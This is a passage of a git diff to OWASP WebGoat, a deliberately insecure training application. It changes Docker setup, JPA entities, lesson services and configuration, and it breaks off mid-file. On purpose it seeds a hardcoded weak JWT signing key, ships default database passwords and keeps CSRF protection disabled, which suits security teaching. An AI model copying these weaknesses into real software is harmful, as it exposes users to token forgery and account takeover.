diff --git a/.gitignore b/.gitignore index fb3ff0300..85137d053 100644 --- a/.gitignore +++ b/.gitignore @@ -42,3 +42,7 @@ webgoat-lessons/**/target **/.DS_Store webgoat-server/mongo-data/* webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml +**/.sts4-cache/* +**/.vscode/* + +/.sonatype \ No newline at end of file diff --git a/CREATE_RELEASE.MD b/CREATE_RELEASE.MD index 885c7a2fc..f9199020d 100644 --- a/CREATE_RELEASE.MD +++ b/CREATE_RELEASE.MD @@ -20,8 +20,8 @@ git flow release publish Now we can make a new release, be sure you committed all your changes. ``` -git tag v8.0.0.M3 -git push origin v8.0.0.M3 +git tag v8.0.0.M15 +git push origin v8.0.0.M15 ``` Now Travis takes over and will create the release in Github and on Docker Hub. diff --git a/README.MD b/README.MD index 32bd67755..9c1420801 100644 --- a/README.MD +++ b/README.MD @@ -40,6 +40,15 @@ docker pull webgoat/webgoat-8.0 docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh ``` +If you want to keep the database between Docker sessions you need to map the WebGoat data directory to a +folder on the host system as follows: + +```Shell +docker run -p 8080:8080 -it -v /tmp/webgoat-data:/home/webgoat/.webgoat-${VERSION} webgoat/webgoat-8.0 /home/webgoat/start.sh +``` + +where `${VERSION}` is for example `v8.0.0.M14`. The data will now be stored in `/tmp/webgoat-data` on your host system. + Wait for the Docker container to start, and run `docker ps` to verify it's running. - If you are using `docker-machine`, verify the machine IP using `docker-machine env` @@ -58,7 +67,7 @@ _Please note: this version may not be completely in sync with the develop branch ## 2. Standalone -Download the latest WebWolf release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) +Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases) ```Shell java -jar webgoat-server-<>.jar diff --git a/docker-compose-postgres.yml b/docker-compose-postgres.yml new file mode 100644 index 000000000..7ecc68403 --- /dev/null +++ b/docker-compose-postgres.yml @@ -0,0 +1,35 @@ +version: '2.0' + +services: + webgoat: + image: webgoat/webgoat-8.0 + user: webgoat + environment: + - WEBWOLF_HOST=webwolf + - spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat + - spring.datasource.username=webgoat + - spring.datasource.password=webgoat + - spring.datasource.driver-class-name=org.postgresql.Driver + - spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect + ports: + - "8080:8080" + webwolf: + image: webgoat/webwolf + environment: + - spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat + - spring.datasource.username=webgoat + - spring.datasource.password=webgoat + - spring.datasource.driver-class-name=org.postgresql.Driver + - spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect + ports: + - "8081:8081" + db: + container_name: webgoat_db + image: postgres:latest + environment: + - POSTGRES_PASSWORD=webgoat + - POSTGRES_USER=webgoat + - POSTGRES_DB=webgoat + ports: + - "5432:5432" + diff --git a/docker-compose.yml b/docker-compose.yml index 9b0769407..8d2bcdee3 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,15 +1,28 @@ -version: '2.0' +version: '2.1' services: webgoat: - build: webgoat-server/ - command: "sh /home/webgoat/start.sh" + image: webgoat/webgoat-8.0 + environment: + - WEBWOLF_HOST=webwolf + - spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat ports: - "8080:8080" - webwolf: - build: webwolf/ - command: "sh /home/webwolf/start.sh" depends_on: - - webgoat + - db + webwolf: + image: webgoat/webwolf + environment: + - spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat ports: - - "8081:8081" \ No newline at end of file + - "8081:8081" + depends_on: + - db + db: + image: blacklabelops/hsqldb + container_name: webgoat_db + environment: + - HSQLDB_TRACE=false + - HSQLDB_SILENT=true + - HSQLDB_DATABASE_NAME=webgoat + - HSQLDB_DATABASE_ALIAS=webgoat diff --git a/pom.xml b/pom.xml index 972af72c8..ca4c1caf8 100644 --- a/pom.xml +++ b/pom.xml @@ -5,7 +5,7 @@ org.owasp.webgoat webgoat-parent pom - 8.0.0.M3 + v8.0.0.M15 WebGoat Parent Pom Parent Pom for the WebGoat Project. A deliberately insecure Web Application @@ -20,7 +20,7 @@ org.springframework.boot spring-boot-starter-parent - 1.5.9.RELEASE + 1.5.12.RELEASE @@ -135,7 +135,7 @@ 2.2.4 18.0 1.4.190 - 2.3.2 + 2.3.4 1.3.1 2.6.3 2.6.3 diff --git a/scripts/deploy-webgoat.sh b/scripts/deploy-webgoat.sh index 652a0b9b0..b9562d0fa 100644 --- a/scripts/deploy-webgoat.sh +++ b/scripts/deploy-webgoat.sh @@ -17,6 +17,24 @@ elif [ ! -z "${TRAVIS_TAG}" ]; then #elif [ "${BRANCH}" == "develop" ]; then # docker build -f Dockerfile -t $REPO:snapshot . # docker push $REPO +else + echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}" +fi + + +export REPO=webgoat/webwolf +cd .. +cd webwolf +ls target/ + +if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then + # If we push a tag to master this will update the LATEST Docker image and tag with the version number + docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} . + docker push $REPO +elif [ ! -z "${TRAVIS_TAG}" ]; then + # Creating a tag build we push it to Docker with that tag + docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest . + docker push $REPO else echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}" fi \ No newline at end of file diff --git a/webgoat-container/pom.xml b/webgoat-container/pom.xml index d9682cb57..3894d0869 100644 --- a/webgoat-container/pom.xml +++ b/webgoat-container/pom.xml @@ -10,7 +10,7 @@ org.owasp.webgoat webgoat-parent - 8.0.0.M3 + v8.0.0.M15 diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/AsciiDoctorTemplateResolver.java b/webgoat-container/src/main/java/org/owasp/webgoat/AsciiDoctorTemplateResolver.java index 7bb02b98d..ecb80bd43 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/AsciiDoctorTemplateResolver.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/AsciiDoctorTemplateResolver.java @@ -35,6 +35,7 @@ import com.google.common.collect.Sets; import lombok.extern.slf4j.Slf4j; import org.asciidoctor.Asciidoctor; import org.asciidoctor.extension.JavaExtensionRegistry; +import org.owasp.webgoat.asciidoc.WebGoatVersionMacro; import org.owasp.webgoat.asciidoc.WebWolfMacro; import org.owasp.webgoat.i18n.Language; import org.thymeleaf.TemplateProcessingParameters; @@ -86,6 +87,7 @@ public class AsciiDoctorTemplateResolver extends TemplateResolver { StringWriter writer = new StringWriter(); JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry(); extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class); + extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class); asciidoctor.convert(new InputStreamReader(is), writer, createAttributes()); return new ByteArrayInputStream(writer.getBuffer().toString().getBytes(UTF_8)); diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/MvcConfiguration.java b/webgoat-container/src/main/java/org/owasp/webgoat/MvcConfiguration.java index e52cff71a..22f6fa99e 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/MvcConfiguration.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/MvcConfiguration.java @@ -130,6 +130,7 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter { @Bean public PluginMessages pluginMessages(Messages messages, Language language) { PluginMessages pluginMessages = new PluginMessages(messages, language); + pluginMessages.setDefaultEncoding("UTF-8"); pluginMessages.setBasenames("i18n/WebGoatLabels"); return pluginMessages; } @@ -142,6 +143,7 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter { @Bean public Messages messageSource(Language language) { Messages messages = new Messages(language); + messages.setDefaultEncoding("UTF-8"); messages.setBasename("classpath:i18n/messages"); return messages; } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebGoatVersionMacro.java b/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebGoatVersionMacro.java new file mode 100644 index 000000000..f33d06063 --- /dev/null +++ b/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebGoatVersionMacro.java @@ -0,0 +1,23 @@ +package org.owasp.webgoat.asciidoc; + +import org.asciidoctor.ast.AbstractBlock; +import org.asciidoctor.extension.InlineMacroProcessor; +import org.springframework.core.env.Environment; +import org.springframework.util.StringUtils; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +import javax.servlet.http.HttpServletRequest; +import java.util.Map; + +public class WebGoatVersionMacro extends InlineMacroProcessor { + + public WebGoatVersionMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + protected String process(AbstractBlock parent, String target, Map attributes) { + return EnvironmentExposure.getEnv().getProperty("webgoat.build.version"); + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebWolfMacro.java b/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebWolfMacro.java index 88b2ab5fb..7f81d63d1 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebWolfMacro.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebWolfMacro.java @@ -10,6 +10,12 @@ import org.springframework.web.context.request.ServletRequestAttributes; import javax.servlet.http.HttpServletRequest; import java.util.Map; +/** + * Usage in asciidoc: + *

+ * webWolfLink:here[] will display a href with here as text + * webWolfLink:landing[noLink] will display the complete url, for example: http://WW_HOST:WW_PORT/landing + */ public class WebWolfMacro extends InlineMacroProcessor { public WebWolfMacro(String macroName, Map config) { @@ -20,9 +26,17 @@ public class WebWolfMacro extends InlineMacroProcessor { protected String process(AbstractBlock parent, String target, Map attributes) { Environment env = EnvironmentExposure.getEnv(); String hostname = determineHost(env.getProperty("webwolf.host"), env.getProperty("webwolf.port")); + + if (displayCompleteLinkNoFormatting(attributes)) { + return hostname + (hostname.endsWith("/") ? "" : "/") + target; + } return "" + target + ""; } + private boolean displayCompleteLinkNoFormatting(Map attributes) { + return attributes.values().stream().filter(a -> a.equals("noLink")).findFirst().isPresent(); + } + /** * Look at the remote address from received from the browser first. This way it will also work if you run * the browser in a Docker container and WebGoat on your local machine. diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentEndpoint.java b/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentEndpoint.java index c4713a054..3b02b6129 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentEndpoint.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentEndpoint.java @@ -55,7 +55,7 @@ public abstract class AssignmentEndpoint extends Endpoint { //// TODO: 11/13/2016 events better fit? protected AttackResult trackProgress(AttackResult attackResult) { - UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); if (userTracker == null) { userTracker = new UserTracker(webSession.getUserName()); } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Assignment.java b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Assignment.java index 41758c742..d9b1f3470 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Assignment.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Assignment.java @@ -1,11 +1,9 @@ package org.owasp.webgoat.lessons; +import com.google.common.collect.Lists; import lombok.*; -import javax.persistence.Entity; -import javax.persistence.Id; -import javax.persistence.OneToMany; -import javax.persistence.Transient; +import javax.persistence.*; import java.util.List; /** @@ -37,19 +35,30 @@ import java.util.List; * @version $Id: $Id * @since November 25, 2016 */ -@AllArgsConstructor -@RequiredArgsConstructor -@NoArgsConstructor @Getter @EqualsAndHashCode @Entity public class Assignment { - @NonNull + @Id + @GeneratedValue(strategy = GenerationType.AUTO) + private Long id; private String name; - @NonNull private String path; @Transient private List hints; + private Assignment() { + //Hibernate + } + + public Assignment(String name, String path) { + this(name, path, Lists.newArrayList()); + } + + public Assignment(String name, String path, List hints) { + this.name = name; + this.path = path; + this.hints = hints; + } } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Category.java b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Category.java index 2b25b698e..bdef4d39e 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Category.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/Category.java @@ -46,6 +46,7 @@ public enum Category { INSECURE_CONFIGURATION("Insecure Configuration", new Integer(600)), INSECURE_COMMUNICATION("Insecure Communication", new Integer(700)), INSECURE_STORAGE("Insecure Storage", new Integer(800)), + INSECURE_DESERIALIZATION("Insecure Deserialization", new Integer(850)), REQUEST_FORGERIES("Request Forgeries", new Integer(900)), VULNERABLE_COMPONENTS("Vulnerable Components - A9", new Integer(950)), AJAX_SECURITY("AJAX Security", new Integer(1000)), diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java index 3a3d0f9f7..4a7bab3a7 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonInfoModel.java @@ -2,7 +2,6 @@ package org.owasp.webgoat.lessons; import lombok.AllArgsConstructor; import lombok.Getter; -import org.owasp.webgoat.session.WebSession; /** *

LessonInfoModel class.

diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonMenuService.java b/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonMenuService.java index 097085c48..c0cfdc107 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonMenuService.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonMenuService.java @@ -73,7 +73,7 @@ public class LessonMenuService { List showLeftNav() { List menu = new ArrayList<>(); List categories = course.getCategories(); - UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); for (Category category : categories) { LessonMenuItem categoryItem = new LessonMenuItem(); diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonProgressService.java b/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonProgressService.java index fb4fe0071..76e6187a5 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonProgressService.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonProgressService.java @@ -40,17 +40,19 @@ public class LessonProgressService { @RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json") @ResponseBody public Map getLessonInfo() { - UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); - LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson()); Map json = Maps.newHashMap(); - String successMessage = ""; - boolean lessonCompleted = false; - if (lessonTracker != null) { - lessonCompleted = lessonTracker.isLessonSolved(); - successMessage = "LessonCompleted"; //@todo we still use this?? + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + if (webSession.getCurrentLesson() != null) { + LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson()); + String successMessage = ""; + boolean lessonCompleted = false; + if (lessonTracker != null) { + lessonCompleted = lessonTracker.isLessonSolved(); + successMessage = "LessonCompleted"; //@todo we still use this?? + } + json.put("lessonCompleted", lessonCompleted); + json.put("successMessage", successMessage); } - json.put("lessonCompleted", lessonCompleted); - json.put("successMessage", successMessage); return json; } @@ -63,7 +65,7 @@ public class LessonProgressService { @RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json") @ResponseBody public List lessonOverview() { - UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); AbstractLesson currentLesson = webSession.getCurrentLesson(); List result = Lists.newArrayList(); if ( currentLesson != null ) { diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java b/webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java index 21c8c1f20..0337467b1 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java @@ -32,6 +32,7 @@ import com.google.common.collect.Lists; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.Setter; +import org.owasp.webgoat.i18n.PluginMessages; import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.session.Course; import org.owasp.webgoat.session.WebSession; @@ -57,6 +58,7 @@ public class ReportCardService { private final WebSession webSession; private final UserTrackerRepository userTrackerRepository; private final Course course; + private final PluginMessages pluginMessages; /** * Endpoint which generates the report card for the current use to show the stats on the solved lessons @@ -64,7 +66,7 @@ public class ReportCardService { @GetMapping(path = "/service/reportcard.mvc", produces = "application/json") @ResponseBody public ReportCard reportCard() { - UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); List lessons = course.getLessons(); ReportCard reportCard = new ReportCard(); reportCard.setTotalNumberOfLessons(course.getTotalOfLessons()); @@ -74,7 +76,7 @@ public class ReportCardService { for (AbstractLesson lesson : lessons) { LessonTracker lessonTracker = userTracker.getLessonTracker(lesson); LessonStatistics lessonStatistics = new LessonStatistics(); - lessonStatistics.setName(lesson.getTitle()); + lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle())); lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts()); lessonStatistics.setSolved(lessonTracker.isLessonSolved()); reportCard.lessonStatistics.add(lessonStatistics); diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/service/RestartLessonService.java b/webgoat-container/src/main/java/org/owasp/webgoat/service/RestartLessonService.java index 4ea036996..b207b4ce1 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/service/RestartLessonService.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/service/RestartLessonService.java @@ -59,7 +59,7 @@ public class RestartLessonService { AbstractLesson al = webSession.getCurrentLesson(); log.debug("Restarting lesson: " + al); - UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); userTracker.reset(al); userTrackerRepository.save(userTracker); } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java b/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java index a6743024f..1805bd161 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java @@ -81,6 +81,39 @@ public class CreateDB { } } + /** + * Description of the Method + * + * @param connection Description of the Parameter + * @throws SQLException Description of the Exception + */ + private void createJWTKeys(Connection connection) throws SQLException { + Statement statement = connection.createStatement(); + + // Drop servers table + try { + String dropTable = "DROP TABLE jwt_keys"; + statement.executeUpdate(dropTable); + } catch (SQLException e) { + System.out.println("Info - Could not drop jwtkeys table"); + } + + // Create the new table + try { + String createTableStatement = "CREATE TABLE jwt_keys" + + " (" + "id varchar(20)," + + "key varchar(20))"; + statement.executeUpdate(createTableStatement); + + String insertData1 = "INSERT INTO jwt_keys VALUES ('webgoat_key', 'qwertyqwerty1234')"; + String insertData2 = "INSERT INTO jwt_keys VALUES ('webwolf_key', 'doesnotreallymatter')"; + statement.executeUpdate(insertData1); + statement.executeUpdate(insertData2); + } catch (SQLException e) { + System.out.println("Error creating product table " + e.getLocalizedMessage()); + } + } + /** * Description of the Method @@ -975,6 +1008,7 @@ public class CreateDB { createTanTable(connection); createMFEImagesTable(connection); createModifyWithSQLLessonTable(connection); + createJWTKeys(connection); System.out.println("Success: creating tables."); } } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/LessonTracker.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/LessonTracker.java index 81d5d3b23..7d1d5d859 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/LessonTracker.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/LessonTracker.java @@ -47,8 +47,11 @@ import java.util.stream.Collectors; */ @Entity public class LessonTracker { - @Getter + @Id + @GeneratedValue(strategy = GenerationType.AUTO) + private Long id; + @Getter private String lessonName; @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) private final Set solvedAssignments = Sets.newHashSet(); diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/Scoreboard.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/Scoreboard.java index aa8416d58..0b77b89c6 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/Scoreboard.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/Scoreboard.java @@ -38,7 +38,7 @@ public class Scoreboard { List allUsers = userRepository.findAll(); List rankings = Lists.newArrayList(); for (WebGoatUser user : allUsers) { - UserTracker userTracker = userTrackerRepository.findOne(user.getUsername()); + UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername()); rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker))); } return rankings; diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java index 64ca5fb9a..1cc4920ea 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java @@ -50,6 +50,9 @@ import java.util.stream.Collectors; public class UserTracker { @Id + @GeneratedValue(strategy = GenerationType.AUTO) + private Long id; + @Column(name = "username") private String user; @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) private Set lessonTrackers = Sets.newHashSet(); diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTrackerRepository.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTrackerRepository.java index a322f9d8a..efa231d59 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTrackerRepository.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTrackerRepository.java @@ -8,5 +8,6 @@ import org.springframework.data.jpa.repository.JpaRepository; */ public interface UserTrackerRepository extends JpaRepository { + UserTracker findByUser(String user); } diff --git a/webgoat-container/src/main/resources/application.properties b/webgoat-container/src/main/resources/application.properties index 83de9b5d7..6ccb8fa93 100644 --- a/webgoat-container/src/main/resources/application.properties +++ b/webgoat-container/src/main/resources/application.properties @@ -3,13 +3,16 @@ server.error.path=/error.html server.session.timeout=600 server.contextPath=/WebGoat server.port=8080 +server.address=127.0.0.1 -spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webgoat +spring.datasource.url=jdbc:hsqldb:hsql://localhost:9001/webgoat spring.jpa.hibernate.ddl-auto=update +spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect +spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver -logging.level.org.springframework=WARN -logging.level.org.springframework.boot.devtools=WARN +logging.level.org.springframework=INFO +logging.level.org.springframework.boot.devtools=INFO logging.level.org.owasp=DEBUG logging.level.org.owasp.webgoat=TRACE @@ -19,9 +22,10 @@ security.enable-csrf=false spring.resources.cache-period=0 spring.thymeleaf.cache=false +webgoat.start.hsqldb=true webgoat.clean=false -webgoat.server.directory=${user.home}/.webgoat/ -webgoat.user.directory=${user.home}/.webgoat/ +webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/ +webgoat.user.directory=${user.home}/.webgoat-${webgoat.build.version}/ webgoat.build.version=@project.version@ webgoat.build.number=@build.number@ webgoat.email=webgoat@owasp.org @@ -35,7 +39,7 @@ webgoat.default.language=en webwolf.host=${WEBWOLF_HOST:localhost} webwolf.port=${WEBWOLF_PORT:8081} webwolf.url=http://${webwolf.host}:${webwolf.port}/WebWolf -webworf.url.landingpage=http://${webwolf.host}:${webwolf.port}/landing +webwolf.url.landingpage=http://${webwolf.host}:${webwolf.port}/landing webwolf.url.mail=http://${webwolf.host}:${webwolf.port}/mail spring.jackson.serialization.indent_output=true diff --git a/webgoat-container/src/main/resources/static/css/main.css b/webgoat-container/src/main/resources/static/css/main.css index d9347acb8..59f674616 100644 --- a/webgoat-container/src/main/resources/static/css/main.css +++ b/webgoat-container/src/main/resources/static/css/main.css @@ -1066,6 +1066,7 @@ span.show-next-page, span.show-prev-page { /* ATTACK DISPLAY */ .attack-container { + position: relative; background-color: #f1f1f1; border: 2px solid #a66; border-radius: 12px; @@ -1150,4 +1151,16 @@ div.captured-flag { height: 117px; width: 1268px; margin-bottom: 20px; +} + +#content { + position:relative; +} + +.webwolf-enabled { + position:absolute; + top: 10px; + right: 25px; + width: 42px; + height: 47px; } \ No newline at end of file diff --git a/webgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js b/webgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js index e692e0beb..11b8279cf 100644 --- a/webgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js +++ b/webgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js @@ -73,6 +73,7 @@ define(['jquery', } this.loadLesson = function(name,pageNum) { + if (this.name === name) { this.listenToOnce(this.lessonHintView, 'hints:showButton', this.onShowHintsButton); this.listenTo(this.lessonHintView, 'hints:hideButton', this.onHideHintsButton); @@ -83,15 +84,15 @@ define(['jquery', return; } + if (pageNum && !this.name) { + //placeholder + } + this.helpsLoaded = {}; if (typeof(name) === 'undefined' || name === null) { //TODO: implement lesson not found or return to welcome page? } this.lessonContent.loadData({'name':name}); -// this.planView = {}; -// this.solutionView = {}; -// this.sourceView = {}; -// this.lessonHintView = {}; this.name = name; }; @@ -124,15 +125,8 @@ define(['jquery', this.helpControlsView = null; this.lessonContentView.model = this.lessonContent; this.lessonContentView.render(); - - //this.planView = new PlanView(); - //this.solutionView = new SolutionView(); - //this.sourceView = new SourceView(); - if (this.lessonHintView) { - this.lessonHintView.stopListening(); - this.lessonHintView = null; - } - this.lessonHintView = new HintView(); + //TODO: consider moving hintView as child of lessonContentView ... + this.createLessonHintView(); //TODO: instantiate model with values (not sure why was not working before) var paramModel = new ParamModel({}); @@ -148,40 +142,23 @@ define(['jquery', this.lessonProgressModel.completed(); }; + this.createLessonHintView = function () { + if (this.lessonHintView) { + this.lessonHintView.stopListening(); + this.lessonHintView = null; + } + this.lessonHintView = new HintView(); + } + this.addCurHelpState = function (curHelp) { this.helpsLoaded[curHelp.helpElement] = curHelp.value; }; -// this.hideShowHelps = function(showHelp) { -// var showId = '#lesson-' + showHelp + '-row'; -// var contentId = '#lesson-' + showHelp + '-content'; -// $('.lesson-help').not(showId).hide(); -// if (!showId) { -// return; -// } -// -// if ($(showId).is(':visible')) { -// $(showId).hide(); -// return; -// } else { -// //TODO: move individual .html operations into individual help views -// switch(showHelp) { -// case 'plan': -// $(contentId).html(this.planView.model.get('content')); -// break; -// case 'solution': -// $(showId).html(this.solutionView.model.get('content')); -// break; -// case 'source': -// $(contentId).html('
' + this.sourceView.model.get('content') + '
'); -// break; -// } -// $(showId).show(); -// GoatUtils.scrollToHelp() -// } -// }; - this.showHintsView = function() { + if (!this.lessonHintView) { + this.createLessonHintView(); + } + // this.lessonHintView.render(); if (this.lessonHintView.getHintsCount > 0) { this.helpControlsView.showHintsButton(); diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/MenuCollection.js b/webgoat-container/src/main/resources/static/js/goatApp/model/MenuCollection.js index 709c557f7..c4c01c70a 100644 --- a/webgoat-container/src/main/resources/static/js/goatApp/model/MenuCollection.js +++ b/webgoat-container/src/main/resources/static/js/goatApp/model/MenuCollection.js @@ -1,29 +1,33 @@ define(['jquery', - 'underscore', - 'backbone', - 'goatApp/model/MenuModel'], - function($,_,Backbone,MenuModel) { + 'underscore', + 'backbone', + 'goatApp/model/MenuModel'], + function ($, _, Backbone, MenuModel) { - return Backbone.Collection.extend({ - model: MenuModel, - url:'service/lessonmenu.mvc', - initialize: function () { - var self = this; - this.fetch(); - }, + return Backbone.Collection.extend({ + model: MenuModel, + url: 'service/lessonmenu.mvc', - onDataLoaded: function() { - this.trigger('menuData:loaded'); - }, + initialize: function () { + var self = this; + this.fetch(); + setInterval(function () { + this.fetch() + }.bind(this), 5000); + }, - fetch: function() { - var self=this; - Backbone.Collection.prototype.fetch.apply(this,arguments).then( - function(data) { - this.models = data; - self.onDataLoaded(); - } - ); - } - }); -}); \ No newline at end of file + onDataLoaded: function () { + this.trigger('menuData:loaded'); + }, + + fetch: function () { + var self = this; + Backbone.Collection.prototype.fetch.apply(this, arguments).then( + function (data) { + this.models = data; + self.onDataLoaded(); + } + ); + } + }); + }); \ No newline at end of file diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js b/webgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js index 54aa52828..84a23334f 100644 --- a/webgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js +++ b/webgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js @@ -67,7 +67,7 @@ define(['jquery', contentType: 'application/x-www-form-urlencoded; charset=UTF-8', success: function (data) { //devs leave stuff like this in all the time - console.log('phone home said ' + data); + console.log('phone home said ' + JSON.stringify(data)); } }); } diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js b/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js index 65f45a63e..117761108 100644 --- a/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js +++ 